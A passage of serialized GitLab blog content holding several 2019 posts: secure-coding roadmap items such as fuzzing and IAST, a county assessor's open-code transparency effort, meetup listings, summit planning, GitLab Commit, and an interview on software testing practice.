daily security scan.\n\n## What’s next for GitLab Secure?\n\nWhile we already have a number of ways to help you write secure code and build\nsecure products and services, we’re always looking for ways to give you more.\nHere are a few of the things we’re working on:\n\n### Interactive application security testing\n\nInteractive application security testing (IAST) checks the runtime behavior of applications by\ninstrumenting the code and\nchecking for error conditions. It is composed by an agent that lives inside the\napplication environment, and an external component, like DAST, that can interact\nand trigger unintended results.\n\n### Fuzzing\n\n[Fuzzing](/direction/secure/dynamic-analysis/fuzz-testing/)\nis a testing technique focused on finding flaws and vulnerabilities in\napplications by sending arbitrary payloads instead of valid input. The idea is to\ntrigger exceptions and unintended code paths that may lead to crashes and\nunauthorized operations. Once a possible problem – like a crash – is found,\nattackers can attempt to find the exact conditions needed to trigger the bug\nand see if they can be fine-tuned to obtain a useful result. (It is worth noting\nthat fuzzing is primarily intended for security teams because it requires more\ntime to execute. While fuzzing is a useful testing method, it should not be a\ndevelopment blocker).\n\n### Vulnerability database\n\nGitLab integrates access to proprietary and open source application security\nscanning tools. In order to maintain the efficacy of those scans, we strive to\nkeep their underlying vulnerability databases up to date.\n\n### Auto remediation\n\nVulnerabilities that require manual intervention to create a fix and push it to\nproduction have a time window where attackers have the ability to leverage the\nvulnerability. Auto remediation aims to automate the vulnerability solution flow and\nautomatically create a fix. The fix is then tested, and if it passes all the\ntests already defined for the application, it is deployed to production.\n\nPhoto by [Daniel McCullough](https://unsplash.com/@d_mccullough?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText)\non [Unsplash](https://unsplash.com/search/photos/write?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText)\n{: .note}\n",[674,4103,110,1207,942],{"slug":27602,"featured":6,"template":678},"developers-write-secure-code-gitlab","content:en-us:blog:developers-write-secure-code-gitlab.yml","Developers Write Secure Code Gitlab","en-us/blog/developers-write-secure-code-gitlab.yml","en-us/blog/developers-write-secure-code-gitlab",{"_path":27608,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":27609,"content":27614,"config":27620,"_id":27622,"_type":16,"title":27623,"_source":17,"_file":27624,"_stem":27625,"_extension":20},"/en-us/blog/creating-a-transparent-digital-democracy",{"title":27610,"description":27611,"ogTitle":27610,"ogDescription":27611,"noIndex":6,"ogImage":21880,"ogUrl":27612,"ogSiteName":1180,"ogType":1181,"canonicalUrls":27612,"schema":27613},"Government agency builds transparent democracy using GitLab","The Cook County Assessor’s office explains how they're using GitLab to help create a new level of government transparency.","https://about.gitlab.com/blog/creating-a-transparent-digital-democracy","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How one government agency is creating a transparent digital democracy with GitLab\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Brein Matturro\"}],\n        \"datePublished\": \"2019-09-02\",\n      }",{"title":27615,"description":27611,"authors":27616,"heroImage":21880,"date":27617,"body":27618,"category":813,"tags":27619},"How one government agency is creating a transparent digital democracy with GitLab",[24484],"2019-09-02","\n\nAt GitLab Connect Chicago, Robert Ross, chief data officer at the Cook County Assessor’s Office,\npresented the talk, “An experiment in digital democracy: How the Cook County Assessor’s\nOffice is using GitLab to reach a new level of transparency.”\n\nThe Chicago Assessor’s Office is responsible for predicting the value of over a million pieces of\nreal estate and reassessing them every three years. Record keeping has always been on paper and\nonly recently has “marginally sophisticated computer programming” been used. Now the Assessor's Office\nwants to turn the process over to software algorithms.\n\n“In a world where the computer is doing the heavy lifting, policy is code and code is policy,”\nRobert says. The algorithms used in assessing a property are dependent on a number of variables. If the\ncode variables are central to the assessment office, as it is for Cook County, it becomes\nimperative that it is made public. “[Our office] ran on a platform of fair, ethical, and\ntransparent assessments. In order to achieve that third pillar, we absolutely have to publish\nthe code that we use to value (a) house,” Robert says.\n\n## Modernizing software and viewpoints\n\nThe Assessment Office had a limited number of days to completely replicate the existing data\nformats that were in place from the previously elected office and to create a transparent\nplatform where property owners could understand how their assessment came to be. There were other\nchallenges too, such as legacy scripts, the inability to integrate older software, and zero\nassistance from the previous office.\n\nRobert and his team turned to GitLab to publish all of their code on residential modeling.\nThey have four repositories with more than 880 commits, all of which the public is able to access.\n“We’re using GitLab completely differently. Our product is your tax assessment and we have to\ndeploy the product on time because if we don’t, the entire government falls apart,” Robert says.\n“We will make mistakes and we have to document those mistakes so that we can be transparent and\ndo our jobs as well as we can.”\n\n## Creating radical policy shifts with transparency\n\nThe ability for property owners to access and own the information that creates their estate value\nhas never been done before at this level. “No county assessor has ever used a public-facing\nrepository for their work,” Robert says. In fact, establishing governing policies has customarily\nbeen done behind closed doors. Cook County has taken an experimental step towards open source\ngovernment policies. “Very few government agencies do it,” he says.\n\nThe Cook County office doesn’t want to stop there. This is just the first step in what it hopes\nare future electoral victories. “We need to demonstrate that transparency is ‘good politics’…\nif transparency becomes a successful evolutionary trait among politicians, you get more of it.”\n\nWant to hear about how Robert and the Cook County Assessment Office use GitLab? Watch his\npresentation in its entirety here:\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/K8ROmhwphMg\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\nCover image by [Element5 Digital](https://unsplash.com/@element5digital) on [Unsplash](https://unsplash.com)\n{: .note}\n",[4772,267,815],{"slug":27621,"featured":6,"template":678},"creating-a-transparent-digital-democracy","content:en-us:blog:creating-a-transparent-digital-democracy.yml","Creating A Transparent Digital Democracy","en-us/blog/creating-a-transparent-digital-democracy.yml","en-us/blog/creating-a-transparent-digital-democracy",{"_path":27627,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":27628,"content":27633,"config":27637,"_id":27639,"_type":16,"title":27640,"_source":17,"_file":27641,"_stem":27642,"_extension":20},"/en-us/blog/gitlab-meetups-september-2019",{"title":27629,"description":27630,"ogTitle":27629,"ogDescription":27630,"noIndex":6,"ogImage":25985,"ogUrl":27631,"ogSiteName":1180,"ogType":1181,"canonicalUrls":27631,"schema":27632},"GitLab Meetups: September 2019","Here’s a list of upcoming GitLab meetups in Mexico, Nigeria, France, and beyond!","https://about.gitlab.com/blog/gitlab-meetups-september-2019","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab Meetups: September 2019\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"John Coghlan\"}],\n        \"datePublished\": \"2019-09-02\",\n      }",{"title":27629,"description":27630,"authors":27634,"heroImage":25985,"date":27617,"body":27635,"category":18484,"tags":27636},[6631],"\n\n{::options parse_block_html=\"true\" /}\n\n\n\nCan't make it to Brooklyn for [GitLab Commit](/events/commit)? Here are some other places you'll find the GitLab community in September.\n\n#### Mexico City GitLab Meetup\n\nLearn how mastering Git and GitLab can accelerate the development flow of your company at this GitLab Meetup in Mexico City on September 12. Find more details and RSVP on [Meetup](https://www.meetup.com/Mexico-City-GitLab-Meetup/events/264219585/).\n\n#### Orange County GitLab Users Group\n\nThis meetup in Irvine, CA on September 12 will focus on how to build an awesome CI/CD pipeline. Demos welcome! Find more details and RSVP on [Meetup](https://www.meetup.com/Orange-County-GitLab-Users-Group/events/264251153/).\n\n#### Meetup GitLab Curitiba\n\nThe first GitLab meetup in Curitiba, Brazil on September 16 will focus on sharing tips and tricks about Git and GitLab. Find more details and RSVP on [Meetup](https://www.meetup.com/GitLab-Curitiba/events/263974680/).\n\n#### GitLab France Meetup\n\nOn September 19, our GitLab France Meetup will get together to hear about the benefits of using GitLab when adopting NoOps. There is room for a second speaker if you'd like to give a talk! Find more details and RSVP on [Meetup](https://www.meetup.com/GitLab-Meetup-France/events/264241152/).\n\n#### Frankfurt GitLab Meetup Group\n\nJoin the first meeting of the Frankfurt GitLab Meetup Group on September 20 to learn how to automate your pipelines with GitLab-CI, Helm and Kubernetes. Find more details and RSVP on [Meetup](https://www.meetup.com/Frankfurt-GitLab-Meetup-Group/events/263262111/).\n\n#### Tampa DevOps Meetup\n\nThe Tampa DevOps Meetup will be featuring GitLab at their September 25 meetup. Find more details and RSVP on [Meetup](https://www.meetup.com/Tampa-DevOps-Meetup/events/263485108/).\n\n#### GitLab Nigeria Community\n\nThis meetup on September 28 in Ayetoro will provide an introduction to Git and GitLab. Newcomers are welcome! Find more details and RSVP on [Meetup](https://www.meetup.com/GitLab-Nigeria-Community/events/263786647/).\n\n#### What's next?\n\nAre you ready to join a local community but don’t see an event near you? Take a look at the [GitLab Meetups page](/community/meetups) or reach out to [me](https://twitter.com/john_cogs/) to learn how GitLab can help you start a meetup in your area.\n",[267,277],{"slug":27638,"featured":6,"template":678},"gitlab-meetups-september-2019","content:en-us:blog:gitlab-meetups-september-2019.yml","Gitlab Meetups September 2019","en-us/blog/gitlab-meetups-september-2019.yml","en-us/blog/gitlab-meetups-september-2019",{"_path":27644,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":27645,"content":27651,"config":27655,"_id":27657,"_type":16,"title":27658,"_source":17,"_file":27659,"_stem":27660,"_extension":20},"/en-us/blog/how-we-scaled-our-summits",{"title":27646,"description":27647,"ogTitle":27646,"ogDescription":27647,"noIndex":6,"ogImage":27648,"ogUrl":27649,"ogSiteName":1180,"ogType":1181,"canonicalUrls":27649,"schema":27650},"How we double the GitLab summit every year","Take a deep dive into the evolution of our summit, GitLab Contribute, keeping pace with a company that practically doubles in size annually.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749673134/Blog/Hero%20Images/scale-our-summits.jpg","https://about.gitlab.com/blog/how-we-scaled-our-summits","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How we double the GitLab summit every year\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Sara Kassabian\"}],\n        \"datePublished\": \"2019-09-02\",\n      }",{"title":27646,"description":27647,"authors":27652,"heroImage":27648,"date":27617,"body":27653,"category":6634,"tags":27654},[17272],"\nSince fewer than 10 GitLabbers convened in [Serbia for the first summit in 2013](/company/culture/contribute/previous/#summit-in-novi-sad-serbia), the annual meeting has nearly [doubled in size](/company/culture/contribute/previous/#back-in-the-day) each year, in tandem with the growth of our company. GitLab is projected to grow from a team of more than 830 today to more than 1,200 by 2020. The attendance list is getting (much) larger and the logistics more complex. We dive into the nuts and bolts of how our summit scales along with our community.\n\n## What is GitLab Contribute?\n\nFirst, let’s start with what it’s not: [Contribute](/events/gitlab-contribute/) is not an incentive trip, it’s not a conference, and it’s not a vacation. Contribute isn’t mandatory, but it is a unique opportunity to bring the minds that power GitLab together in one place. In 2019 the annual summit was renamed to “Contribute” to better reflect the intention of the experience: to build community with our colleagues and get some work done!\n\nBut just like Rome (which, unfortunately, is not a feasible host city for 2020), Contribute isn’t built in a day. There are numerous considerations that go into creating a successful program, including the location, logistics, program, and creating opportunities for team members to connect.\n\n## Start with the numbers\n\nThe planning process always starts with the most crucial number: the projected attendee list. We had roughly 575 folks (including some significant others) attend Contribute 2019, which is consistent with the 86% attendance rate we’ve seen with past summits, and is about double the number of attendees for our [Cape Town summit](/blog/gitlab-summit-cape-town-recap/).\n\nOur attendance projections for 2020 are double the 2019 numbers at about 1,186. That number of attendees necessitates moving into a different caliber of hotel that includes enough rooms, meeting spaces, and amenities to host more than 1,200 people at a time in a single place.\n\n## Logistics\n\n“The biggest challenge is keeping everybody together,” says [Kirsten Abma](/company/team/#kirstenabma), our corporate events manager. “For Contribute 2019 it would have been pretty doable to keep everybody together in one place, even if we hadn’t gone to New Orleans, but it’s getting trickier for 2020 and it’s going to get even trickier in 2021.”\n\nWhen evaluating a destination, Kirsten lists a few key considerations that narrow down the options:\n\n*   **Cost of transportation:** How much does it cost to bring our globally distributed team to one location?\n*   **Visas:** Is it simple for most community members to get a visa for this destination?\n*   **Number of hotel rooms:** Does the hotel have enough single and double rooms to meet our baseline requirements?\n*   **Meeting spaces:** Can we fit 1,200 people in this ballroom? Are there enough breakout rooms for the number of concurrent sessions?\n\nWorldwide, there are very few locations with hotels large enough to accommodate such a big group, and (sadly) popular vacation destinations and old-world cities are generally excluded from the list for this reason.\n\n“Paris, for example, is a great place to go – for excursions there are so many options. It’s really accessible too; there are a lot of flights going to Paris, Europeans can even take trains or drive. But then all the hotels cap at 500 rooms, and we’re asking for 1,000 rooms and for Contribute 2021 we need more than 1,600, so it’s not going to work.” In other words, GitLab won't always have Paris, unfortunately.\n\nOther factors that go into selecting a meeting space include:\n\n*   **Catering:** Can 1,000 people all dine within 1-2 hours? Can the hotel accommodate dietary restrictions?\n*   **Amenities**: Does the hotel have a restaurant, a gym, and a bar?\n*   **Lastly, the vibe**: Is the hotel crisp and clean? Does it have air conditioning? How do the beds feel? Does the hotel layout make sense?\n\nIn New Orleans, there were three hotels that were contenders, but the Hyatt, where [Contribute 2019](/blog/contribute-wrap-up/) was hosted, won out.\n\n“We walked into the Hyatt. We went up the escalators and we looked around and we knew ‘Yeah this is it,’” says Kirsten. “We instantly knew this was a great vibe. We knew that if it could fit our budget then it was our number one choice.”\n\n## Implementation\n\nThere are about 25 locations that are potential contenders for Contribute 2020 and 2021 based on our attendee list and other projections.\n\nThe corporate events team works with an agent that brokers contracts with the hotels so GitLab gets the most favorable deal possible. The first step is to send our request for proposals (RFP) to hotels in the locations we are considering. This helps us get the specs on different hotels and can help us whittle down our list to a few locations. Once it's down to between 3-5 locations, the events team begins site visits.\n\nThe next step is to reach out to local partners in those locations. Finding a good [destination management company](https://en.wikipedia.org/wiki/Destination_management) (DMC) is crucial to running a smooth event. The DMC has existing relationships with local vendors and can help broker deals on everything from airport transportation, to finding the best excursions, to even the tiniest details that add texture to the whole experience.\n\n“We always try to stay local and really show off the place we’re visiting, its history, things that are significant to that location,” says Kirsten. “These DMCs know everything about everyone and all the local vendors. So when we said we want glow-in-the-dark cotton candy for our masquerade ball in New Orleans, we got it.”\n\nYou have to be nimble in order to be a good event planner, and our events team often changes things up at the last minute. Some partners have difficulty adapting to how quickly we update our events to suit the particular circumstances (H/T to Meg Baird with [NOLA DMC](https://www.noladmc.com) who really pulled through on these things).\n\n“Our partners have to get used to the speed that we work at, because GitLab moves fast and so does our team. There are some venues that are like, ‘What? You mean tomorrow? No!’ Then we’re like ‘Yeah, let’s do this!’” We are literally changing up everything pretty much every week.”\n\n## Activities\n\nCreating a program to keep more than 1,000 people occupied for 4-5 days is one of the biggest challenges of scaling up the Contribute program.\n\n“I think one of the biggest evolutions is that previously we had everybody in the same session, or had broken it up into three or four sessions but the bigger you get the harder that becomes.”\n\n### Unconference sessions\n\nThe unconference sessions were piloted during the 2018 Cape Town summit, and were formalized into the Contribute program in 2019 because they received such a positive reception from attendees. The unconference sessions offer a break from work-related activities and allow team members to connect through games and shared interests. Many of the sessions bore tangible results, such as building a [blog post](/blog/day-in-the-life-remote-worker/) through a game of broken telephone to organizing more [volunteer opportunities](https://gitlab.com/gitlab-com/www-gitlab-com/issues/4437) for GitLab team members.\n\n### Workshops\n\nFormal workshops were introduced this year as a platform for knowledge transfer and exchange. Through these workshops, folks can learn more from their colleagues about different topics they are highly skilled at or use on a daily basis, such as [GitLab 101](https://docs.google.com/presentation/d/e/2PACX-1vTeGh5vq4yHk6NgzTDsKRGbf-NDwzQwRfjnr7jwqfce282h5k4C_xRGUOE1WWwxsj9rEg8Z5UGNT6aj/pub?start=false&loop=false&delayms=3000). Other workshops centered around implementing GitLab’s values – in a packed workshop about recognizing and mitigating unconscious bias we made improvements to the GitLab handbook.\n\n“There will be a lot more to choose from going forward and I think that’s a great change for the program as well,” says Kirsten. “There will basically be something for anyone at any time of day during Contribute.”\n\nFor Contribute 2020 and onward, we are going to introduce different types of sessions such as AMAs, team building, panels, and additional fireside chats.\n\n## Connection\n\nAt an all-remote company, the opportunity to get to know people in person is huge and often makes remote collaboration a bit easier. Attendees of Contribute 2019 reflect this sentiment in feedback shared with the corporate events team:\n\n>“In a fully remote company, the opportunity to meet people in person reinforces and deepens the relationship between the company in ways that are invaluable.”\n\n>“Face-to-face time is incredibly valuable in building strong working relationships.”\n\nJust a quick glance at a colleague's [contributions graph](/blog/how-do-you-contribute/) illustrates the depth of collaboration at GitLab, but the kinetic energy that propels these contributions is inspiring when we're all under one roof.\n\n### Getting new hires to Contribute\n\n“It’s really hard to imagine the size of GitLab, the speed that we work at, and the way that we work together if you haven’t seen everybody together,” says Kirsten. This is why the company decided it’s so important that we do everything possible to bring even our newest team members to Contribute.\n\nAt Contribute 2019, there was a group of 60-70 people who essentially signed their contracts and hopped on a plane to New Orleans, and even more who started maybe a week before the annual event kicked off.\n\nIn spite of it being a surreal first week, new team members largely felt the experience was more positive than disorienting: “As a completely new hire it was a great way to initially meet all the people I was going to be working with moving forward.”\n\n“That’s why we push for people to literally have their first day during these events because it really builds a stronger working relationship,” says Kirsten. “We don’t want people to miss out on that feeling for nine months or a year.”\n\nThe events team deliberately created more opportunities for team bonding with department happy hours and team dinners in New Orleans, and will continue to create more team-building events based on a number of requests that this practice continue.\n\n## Iterating our way to 2020\n\nThe motto for the corporate events team is live and learn, says Kirsten. Every year we discover new things that can make implementing the event easier from behind-the-scenes (e.g. booking the ballroom for two days to prepare for the keynote) and a better, more engaging experience for participants (e.g. including a break in the middle of the keynote so folks can stretch their legs).\n\nBased on feedback from a post-Contribute 2019 survey, Kirsten also plans on creating more “unplanned planned” events, such as karaoke or game nights in breakout rooms – activities that were always a feature of past summits but were usually self-organized among participants. But feedback from 2019 did show us that in bigger groups people want to know what they’re in for ahead of time.\n\nThere were also requests to gamify socialization or randomize seating at meal times so there are more opportunities for community members to meet and connect.\n\nWhen your baseline doubles each year, you’re going to have some growing pains while scaling such a huge, complicated event. But for Kirsten, seeing happy GitLabbers bounce through the hotel doors on arrivals day and overhearing the inevitable, “I didn’t know you were so tall!” at breakfast makes the effort worthwhile.\n\n“When the keynote kicks off on day 1 of Contribute, you can see everybody in one space for the first time since the last Contribute 9-12 months ago. I was standing near the doors during that moment in the keynote when all the doors closed, and I just looked around. Every time I see that I get goosebumps because it’s like, ‘Oh my goodness, this is so many more people than I had imagined it would look like!’”\n\nIf you're wondering where we'll go next, it's still a surprise but [keep an eye on our save the date](/events/gitlab-contribute/index.html) because the announcement should happen soon!\n",[676,3798],{"slug":27656,"featured":6,"template":678},"how-we-scaled-our-summits","content:en-us:blog:how-we-scaled-our-summits.yml","How We Scaled Our Summits","en-us/blog/how-we-scaled-our-summits.yml","en-us/blog/how-we-scaled-our-summits",{"_path":27662,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":27663,"content":27669,"config":27672,"_id":27674,"_type":16,"title":27675,"_source":17,"_file":27676,"_stem":27677,"_extension":20},"/en-us/blog/why-i-am-excited-about-gitlab-commit",{"title":27664,"description":27665,"ogTitle":27664,"ogDescription":27665,"noIndex":6,"ogImage":27666,"ogUrl":27667,"ogSiteName":1180,"ogType":1181,"canonicalUrls":27667,"schema":27668},"Why I'm so excited to go to GitLab Commit","Spoiler alert: It's that I'm going to get to see GitLabbers who I don't work with","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749683818/Blog/Hero%20Images/in-new-york.jpg","https://about.gitlab.com/blog/why-i-am-excited-about-gitlab-commit","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Why I'm so excited to go to GitLab Commit\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Brendan O'Leary\"}],\n        \"datePublished\": \"2019-09-02\",\n      }",{"title":27664,"description":27665,"authors":27670,"heroImage":27666,"date":27617,"body":27671,"category":299},[11790],"It is probably no surprise that I'm a little biased when it comes to GitLab.  Heck, I've even used it to [make breakfast](/blog/introducing-auto-breakfast-from-gitlab/) and [organize home improvement ideas](/blog/using-gitlab-to-manage-house-renovation-priorities/).  But the thing is - my excitement around the first [GitLab Commit](/events/commit/) event has very little to do with GitLab the product or the company.  I'm most excited to get a chance to come together as GitLabbers.\n\nWe recently made it very clear that [\"GitLabber\"](/handbook/communication/top-misused-terms/) is not a term that means a person who is paid by GitLab - for that we say [team-member](/company/team/structure/#team-and-team-members).  And that's because of one of GitLab's key advantages as a tool and company is our [open core](https://en.wikipedia.org/wiki/Open-core_model) model and the over 2000 people who have directly contributed code to GitLab itself.  Those are a LOT more GitLabbers than we could ever hope to hire at GitLab, Inc.\n\nBut the wider community has so much more influence in shaping GitLab the product and the company than that.  As someone who really, truly values DevOps as a transformative practice - it's incredibly humbling to get a chance to \"open source\" the best way to do DevOps.\n\nAnd honestly, that's the part of [GitLab Commit in Brooklyn](https://www.eventbrite.com/e/gitlab-commit-2019-brooklyn-tickets-63012432883) next month that I'm most excited about.  The professionals coming to talk about how they've used DevOps to benefit their organizations are an incredible, diverse set of folks.  And they are from many industries - [Delta Airlines](/blog/avoiding-the-vendor-lock-with-delta-at-commit/), [Goldman Sachs](https://about.gitlab.com/customers/goldman-sachs/), MITRE, GNOME.  And the list goes on.\n\nHearing those speakers is going to be enlightening - the topics cover the entire span of DevOps.   Topics like developer efficiency, code quality, CI/CD, and innersourcing will help everyone attending understand how to level up their DevOps journey. On top of that, the attendees will participate in the conference AND the future of GitLab.\n\nSoftware has eaten the world, and the folks coming to New York represent the best and brightest minds in this new world.  And I can't wait to learn from them.  Probably people are expecting to learn about GitLab when they are there.  And sure, there's going to be a lot of time for that (support engineers, product team-members, etc.).  But I think that the **GitLabbers** we will all learn the most from will be those who don't work for GitLab.",{"slug":27673,"featured":6,"template":678},"why-i-am-excited-about-gitlab-commit","content:en-us:blog:why-i-am-excited-about-gitlab-commit.yml","Why I Am Excited About Gitlab Commit","en-us/blog/why-i-am-excited-about-gitlab-commit.yml","en-us/blog/why-i-am-excited-about-gitlab-commit",{"_path":27679,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":27680,"content":27686,"config":27691,"_id":27693,"_type":16,"title":27694,"_source":17,"_file":27695,"_stem":27696,"_extension":20},"/en-us/blog/software-test-at-gitlab",{"title":27681,"description":27682,"ogTitle":27681,"ogDescription":27682,"noIndex":6,"ogImage":27683,"ogUrl":27684,"ogSiteName":1180,"ogType":1181,"canonicalUrls":27684,"schema":27685},"An inside look at software testing at GitLab","Director of quality engineering Mek Stittri talks test technology and the future of automation at GitLab.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749680800/Blog/Hero%20Images/softwaretestlaunch.jpg","https://about.gitlab.com/blog/software-test-at-gitlab","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"An inside look at software testing at GitLab\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Valerie Silverthorne\"}],\n        \"datePublished\": \"2019-08-30\",\n      }",{"title":27681,"description":27682,"authors":27687,"heroImage":27683,"date":27688,"body":27689,"category":8943,"tags":27690},[11618],"2019-08-30","\n\n_In our [just-released survey of over 4,000 developers, security\nprofessionals, and operations team members](/developer-survey/), there was one thing everyone agreed on: 50% of each group\nsaid software testing is the biggest reason why development is delayed. Testers have long\nbeen the underdogs in the SDLC and that viewpoint is apparently very slow to change.\nTo understand what’s really going on, and how things work at GitLab, we\nasked [Mek Stittri](/company/team/#mekdev), director of quality engineering, to share his\nperspective on what’s working with test today and what’s in need of improvement._\n\n## Why is test a continued DevOps problem?\n\nIt’s a two-part answer, Mek says. First, there are simply not enough tests run and second, the tests that are used are often flaky (meaning their results aren’t necessarily trustworthy).\n\nTackling the issue of not running enough tests, Mek says it’s an area GitLab is addressing. “At GitLab, I think we are better than other companies where developers write unit tests and integration tests every time a change goes in,” he says. “That is great, but that testing is at a lower level, and it doesn't really map to a business use case.” To write better tests a team needs test requirements, but there can be so many different sets of stakeholders that it can be tough to get their input about *test* requirements and not just feature requirements. “We are improving it here at GitLab where our VP of Product [Scott Williamson](https://gitlab.com/sfwgitlab) is doing a great job. We have a section for test requirements right now (in the issue and merge request templates). It's now a blank and free form for people to fill in, but it should be highlighted going forward as a required section taking input from product discovery and validation as a deliverable.”\n\nThe bottom line: the stakeholders who are delivering the code need to understand the end goal better. “Unit tests test code at a smaller scale, and that’s great, but it doesn’t really verify the functionality works end to end as a whole. We need more coverage and more understanding of what needs to be tested.”\n\n![The Apollo 11 launch framework](https://about.gitlab.com/images/blogimages/apollo11framework.png){: .shadow.small.center}\nApollo 11 is held up by a framework and software is no different.\n{: .note.text-center}\n\nMek likens this process to Apollo 11. Everyone is excited about the rocket (the software features, in other words) but no one pays attention to the red scaffolding on the right that’s actually holding the rocket up. “That’s the side that nobody looks at but it’s a lot of work,” he says. “It’s taller than the rocket. We need to build that platform to have adequate testing (functional, performance, etc).” The ideal situation to get a company there? Start building the test framework and add test coverage at the exact same time the product is being built. “You assemble it together, run it, it’s passing and we go for launch and it’s shipped. We’re not there yet. And I can assure you a lot of companies out there aren’t there yet either.”\n\n## About those flaky tests…\n\n“There are a lot of test automation engineers and test developers out there, but not all of them know how to write and design a good test,” Mek explains. Automated tests needs to function like a flow of self-retrying dominoes where if one step is not completed it needs to keep retrying to reach the next step. Tests need to mimic what a manual tester would do, he says. No manual tester is going to click on a button and then wait 10 minutes. The tester will click again, or try other strategies. “At GitLab [we put emphasis on test framework reliability](/handbook/engineering/quality/#test-framework-reliability-and-efficiency) and we treat each user workflow step like a piece of retrying dominoes. We need to make sure all the dominoes fall over so the workflow is completed,” Mek says.\n\n>We need more coverage and more understanding of what needs to be tested.\n\nSo companies need to think through how the tests work, but also test the right things. If that happens, quality can be everyone’s responsibility in the end, Mek says. “We want developers to contribute to the end-to-end test so you want to make a test framework that is easy to use and easy to read. I think this all factors in.” And Mek points out it really is in everyone’s best interests to think about quality first. “Let's make the process better so we work smarter, right? We achieve more without having to work weekends or get pinged during your family dinner. Nobody wants that.”\n\n## Test automation and machine learning\n\nTest automation is a cornerstone of successful [DevOps](/topics/devops/) but it remains difficult for many companies to achieve. Mek’s take: “We need to design the product such that the test automation framework can integrate into it well,” he says flatly. That requires good collaboration with development teams due to frontend UI locators and backend APIs that are the interfaces to enable better and stable test automation. “Go back to Apollo 11,” Mek says. “It's like the connections along the rocket's fuselage. I need to integrate with this to make sure things are working fine. The probes and sensors need to be there. So if those aren't there, then your test automation engineers need to code around these obstacles. It's not working smart.” In other words, the test automation framework should not take the longer route when executing user interactions to the application because this can be the source of unstable and in-efficient tests.\n\nOne step that can help companies – including GitLab – get there is [machine learning](https://medium.com/machine-learning-for-humans/why-machine-learning-matters-6164faf1df12). “We are having discussions here at GitLab about where we want a bot,” Mek says. “I think machine learning will come and help, but the input and output needs to be clearly defined so you have a clear implementation direction, TensorFlow, Linear Regression, or whatever techniques. You can write a bot that just lives in the product, meaning it looks at all the UI locators (dedicated to test automation) on a page and randomly clicks one of those links.” This GitLab bot of the future will work 24/7, clicking, clicking, clicking on the page until it errors out or runs into a 404, Mek says. The goal is to create a bot that is like a “menacing QA engineer” that can be programmed to keep banging on the problematic areas until everything is solved. To get there will require lots of data – machine learning literally needs to learn from data and experience – and although there are a handful of companies experimenting with this now, this is all still very early stage.\n\n## Where we’re headed with testing\n\nMek and his team hope to increase both quality and productivity this year which may be a bit of a balancing act, since more “quality” equals more testing which can result in a longer development cycle and perhaps reduced productivity (this is why we say test automation engineers are often unappreciated!). “My department is working this quarter to have a full suite of automated tests for our enterprise features. We want to have a big checkbox for the enterprise features every time we deploy. We need this because it is mapping to the business use case.” But Mek and team need to do all of that while shortening the test runtime for developers. “You want more test coverage but we need to keep the runtime low because we can’t have developers and release managers wait two hours.”\n\nThe plan is to add more runners, optimize them, de-duplicate some tests and make sure the process is as streamlined as it can be. “Right now it takes about an hour or so, but I would love to have it down to 30 minutes where we certify that this merge request going in checks all the boxes and all the enterprise features are not broken. We need to set ourselves an aggressive goal and I would say 30 minutes is a good first step.”\n\nCover image by [Kurt Cotoaga](https://unsplash.com/@kydroon) on [Unsplash](https://unsplash.com)\n{: .note}\n",[676,942,4103,1444],{"slug":27692,"featured":6,"template":678},"software-test-at-gitlab","content:en-us:blog:software-test-at-gitlab.yml","Software Test At Gitlab","en-us/blog/software-test-at-gitlab.yml","en-us/blog/software-test-at-gitlab",{"_path":27698,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":27699,"content":27705,"config":27710,"_id":27712,"_type":16,"title":27713,"_source":17,"_file":27714,"_stem":27715,"_extension":20},"/en-us/blog/gitlab-commit-london-speakers",{"title":27700,"description":27701,"ogTitle":27700,"ogDescription":27701,"noIndex":6,"ogImage":27702,"ogUrl":27703,"ogSiteName":1180,"ogType":1181,"canonicalUrls":27703,"schema":27704},"Get a first look at the lineup for GitLab Commit London!","Meet the speakers – and get the schedule – for the upcoming GitLab Commit conference in London.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749678515/Blog/Hero%20Images/gitlab-commit-header.png","https://about.gitlab.com/blog/gitlab-commit-london-speakers","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Get a first look at the lineup for GitLab Commit London!\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"GitLab\"}],\n        \"datePublished\": \"2019-08-29\",\n      }",{"title":27700,"description":27701,"authors":27706,"heroImage":27702,"date":27707,"body":27708,"category":299,"tags":27709},[711],"2019-08-29","\n\nWe are (forgive us) _properly chuffed_ to announce the amazing speaker lineup for our upcoming\nuser conference, GitLab Commit, on October 9 in London! The London edition of Commit will feature\nan inspiring group of speakers from many of the leading technology organizations in Europe and around the world.\n\nDown a cobblestone drive in the heart of the City of London is [The Brewery](https://www.thebrewery.co.uk/),\nwhere your journey will begin. For one day only, this 18th-century brewery plays host to leaders and\ninnovators who will share their voyages of automation, exploration, and transformation. You'll gain\ninsights to increase velocity and shape the future of development. And then we'll wrap it all up with\na [mini golf party](https://swingers.club/uk) in the moonlight. Jolly good stuff!\n\n [Join us for our first 